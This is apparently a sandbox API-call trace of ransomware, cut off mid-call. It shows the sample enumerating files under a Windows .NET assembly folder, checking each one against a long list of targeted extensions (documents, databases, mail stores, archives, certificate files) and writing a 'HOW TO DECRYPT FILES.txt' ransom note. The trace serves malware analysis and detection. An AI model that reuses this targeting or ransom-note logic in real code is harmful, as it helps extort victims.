[0120.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.svg") returned 0 [0120.804] lstrlenA (lpString="*.svg") returned 5 [0120.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.psd") returned 0 [0120.805] lstrlenA (lpString="*.psd") returned 5 [0120.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.vmx") returned 0 [0120.805] lstrlenA (lpString="*.vmx") returned 5 [0120.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.vmdk") returned 0 [0120.805] lstrlenA (lpString="*.vmdk") returned 6 [0120.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.vdi") returned 0 [0120.805] lstrlenA (lpString="*.vdi") returned 5 [0120.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.lay6") returned 0 [0120.805] lstrlenA (lpString="*.lay6") returned 6 [0120.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.mpeg") returned 0 [0120.805] lstrlenA (lpString="*.mpeg") returned 6 [0120.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.djvu") returned 0 [0120.805] lstrlenA (lpString="*.djvu") returned 6 [0120.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.tiff") returned 0 [0120.805] lstrlenA (lpString="*.tiff") returned 6 [0120.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.backup") returned 0 [0120.805] lstrlenA (lpString="*.backup") returned 8 [0120.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.pdf") returned 0 [0120.806] lstrlenA (lpString="*.pdf") returned 5 [0120.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.cert") returned 0 [0120.806] lstrlenA (lpString="*.cert") returned 6 [0120.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.docm") returned 0 [0120.806] lstrlenA (lpString="*.docm") returned 6 [0120.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.xlsm") returned 0 [0120.806] lstrlenA (lpString="*.xlsm") returned 6 [0120.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.dwg") returned 0 [0120.806] lstrlenA (lpString="*.dwg") returned 5 [0120.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.nd") returned 0 [0120.806] lstrlenA (lpString="*.nd") returned 4 [0120.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.tlg") returned 0 [0120.806] lstrlenA (lpString="*.tlg") returned 5 [0120.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.lgb") returned 0 [0120.806] lstrlenA (lpString="*.lgb") returned 5 [0120.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.mov") returned 0 [0120.806] lstrlenA (lpString="*.mov") returned 5 [0120.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.xdw") returned 0 [0120.806] lstrlenA (lpString="*.xdw") returned 5 [0120.807] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.ods") returned 0 [0120.807] lstrlenA (lpString="*.ods") returned 5 [0120.807] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.wav") returned 0 [0120.807] lstrlenA (lpString="*.wav") returned 5 [0120.807] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.mp3") returned 0 [0120.807] lstrlenA (lpString="*.mp3") returned 5 [0120.807] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.aiff") returned 0 [0120.807] lstrlenA (lpString="*.aiff") returned 6 [0120.807] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.flac") returned 0 [0120.807] lstrlenA (lpString="*.flac") returned 6 [0120.807] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.m4a") returned 0 [0120.807] lstrlenA (lpString="*.m4a") returned 5 [0120.807] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll", pszSpec="*.csv") returned 0 [0120.807] lstrlenA (lpString="*.csv") returned 5 [0120.807] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6ee0730, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa6ee0730, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa6ee0730, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x790, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Channels.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0120.807] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.807] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.Channels.ni.dll.aux") returned -1 [0120.807] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.Channels.ni.dll.aux") returned -1 [0120.807] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.Channels.ni.dll.aux") returned -1 [0120.808] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll") returned="System.ServiceModel.Channels.ni.dll" [0120.808] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\" [0120.808] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\") returned="" [0120.808] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\HOW TO DECRYPT FILES.txt" [0120.808] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\how to decrypt files.txt")) returned 0x20 [0120.808] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\", lpString2="System.ServiceModel.Channels.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux" [0120.808] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.ems") returned 0 [0120.808] lstrlenA (lpString="*.ems") returned 5 [0120.808] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.db") returned 0 [0120.808] lstrlenA (lpString="*.db") returned 4 [0120.808] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.dbf") returned 0 [0120.808] lstrlenA (lpString="*.dbf") returned 5 [0120.808] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.myox") returned 0 [0120.808] lstrlenA (lpString="*.myox") returned 6 [0120.809] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.myo") returned 0 [0120.809] lstrlenA (lpString="*.myo") returned 5 [0120.809] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.qbw") returned 0 [0120.809] lstrlenA (lpString="*.qbw") returned 5 [0120.809] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.qbb") returned 0 [0120.809] lstrlenA (lpString="*.qbb") returned 5 [0120.809] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.qbm") returned 0 [0120.809] lstrlenA (lpString="*.qbm") returned 5 [0120.809] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.qbo") returned 0 [0120.809] lstrlenA (lpString="*.qbo") returned 5 [0120.809] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.qbx") returned 0 [0120.809] lstrlenA (lpString="*.qbx") returned 5 [0120.809] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.qba") returned 0 [0120.809] lstrlenA (lpString="*.qba") returned 5 [0120.809] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.qby") returned 0 [0120.809] lstrlenA (lpString="*.qby") returned 5 [0120.809] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.qbj") returned 0 [0120.810] lstrlenA (lpString="*.qbj") returned 5 [0120.810] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.ofx") returned 0 [0120.810] lstrlenA (lpString="*.ofx") returned 5 [0120.810] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.qif") returned 0 [0120.810] lstrlenA (lpString="*.qif") returned 5 [0120.810] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.mye") returned 0 [0120.810] lstrlenA (lpString="*.mye") returned 5 [0120.810] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.mbox") returned 0 [0120.810] lstrlenA (lpString="*.mbox") returned 6 [0120.810] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.eml") returned 0 [0120.810] lstrlenA (lpString="*.eml") returned 5 [0120.810] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.pst") returned 0 [0120.810] lstrlenA (lpString="*.pst") returned 5 [0120.810] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.ost") returned 0 [0120.810] lstrlenA (lpString="*.ost") returned 5 [0120.810] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.idx") returned 0 [0120.810] lstrlenA (lpString="*.idx") returned 5 [0120.810] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.dbx") returned 0 [0120.810] lstrlenA (lpString="*.dbx") returned 5 [0120.810] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.sql") returned 0 [0120.810] lstrlenA (lpString="*.sql") returned 5 [0120.811] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.mdb") returned 0 [0120.811] lstrlenA (lpString="*.mdb") returned 5 [0120.811] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.fdb") returned 0 [0120.811] lstrlenA (lpString="*.fdb") returned 5 [0120.811] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.wab") returned 0 [0120.811] lstrlenA (lpString="*.wab") returned 5 [0120.811] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.dat") returned 0 [0120.811] lstrlenA (lpString="*.dat") returned 5 [0120.811] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.txt") returned 0 [0120.811] lstrlenA (lpString="*.txt") returned 5 [0120.811] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.jpeg") returned 0 [0120.811] lstrlenA (lpString="*.jpeg") returned 6 [0120.811] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.jpg") returned 0 [0120.811] lstrlenA (lpString="*.jpg") returned 5 [0120.811] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.png") returned 0 [0120.811] lstrlenA (lpString="*.png") returned 5 [0120.811] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.php") returned 0 [0120.811] lstrlenA (lpString="*.php") returned 5 [0120.811] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.cs") returned 0 [0120.811] lstrlenA (lpString="*.cs") returned 4 [0120.811] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.cpp") returned 0 [0120.812] lstrlenA (lpString="*.cpp") returned 5 [0120.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.rar") returned 0 [0120.812] lstrlenA (lpString="*.rar") returned 5 [0120.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.zip") returned 0 [0120.812] lstrlenA (lpString="*.zip") returned 5 [0120.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.html") returned 0 [0120.812] lstrlenA (lpString="*.html") returned 6 [0120.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.htm") returned 0 [0120.812] lstrlenA (lpString="*.htm") returned 5 [0120.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.xlsx") returned 0 [0120.812] lstrlenA (lpString="*.xlsx") returned 6 [0120.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.xls") returned 0 [0120.812] lstrlenA (lpString="*.xls") returned 5 [0120.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.mp4") returned 0 [0120.812] lstrlenA (lpString="*.mp4") returned 5 [0120.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.ppt") returned 0 [0120.812] lstrlenA (lpString="*.ppt") returned 5 [0120.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.pptx") returned 0 [0120.812] lstrlenA (lpString="*.pptx") returned 6 [0120.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.doc") returned 0 [0120.813] lstrlenA (lpString="*.doc") returned 5 [0120.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.dot") returned 0 [0120.813] lstrlenA (lpString="*.dot") returned 5 [0120.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.docx") returned 0 [0120.813] lstrlenA (lpString="*.docx") returned 6 [0120.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.7z") returned 0 [0120.813] lstrlenA (lpString="*.7z") returned 4 [0120.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.tar") returned 0 [0120.813] lstrlenA (lpString="*.tar") returned 5 [0120.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.bz2") returned 0 [0120.813] lstrlenA (lpString="*.bz2") returned 5 [0120.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.gz") returned 0 [0120.813] lstrlenA (lpString="*.gz") returned 4 [0120.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.mkv") returned 0 [0120.813] lstrlenA (lpString="*.mkv") returned 5 [0120.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.eml") returned 0 [0120.813] lstrlenA (lpString="*.eml") returned 5 [0120.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.msg") returned 0 [0120.813] lstrlenA (lpString="*.msg") returned 5 [0120.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.edb") returned 0 [0120.814] lstrlenA (lpString="*.edb") returned 5 [0120.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.accdb") returned 0 [0120.814] lstrlenA (lpString="*.accdb") returned 7 [0120.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.odb") returned 0 [0120.814] lstrlenA (lpString="*.odb") returned 5 [0120.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.java") returned 0 [0120.814] lstrlenA (lpString="*.java") returned 6 [0120.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.asm") returned 0 [0120.814] lstrlenA (lpString="*.asm") returned 5 [0120.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.pfx") returned 0 [0120.814] lstrlenA (lpString="*.pfx") returned 5 [0120.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\System.ServiceModel.Channels.ni.dll.aux", pszSpec="*.pem") returned 0 [0120.814] lstrlenA 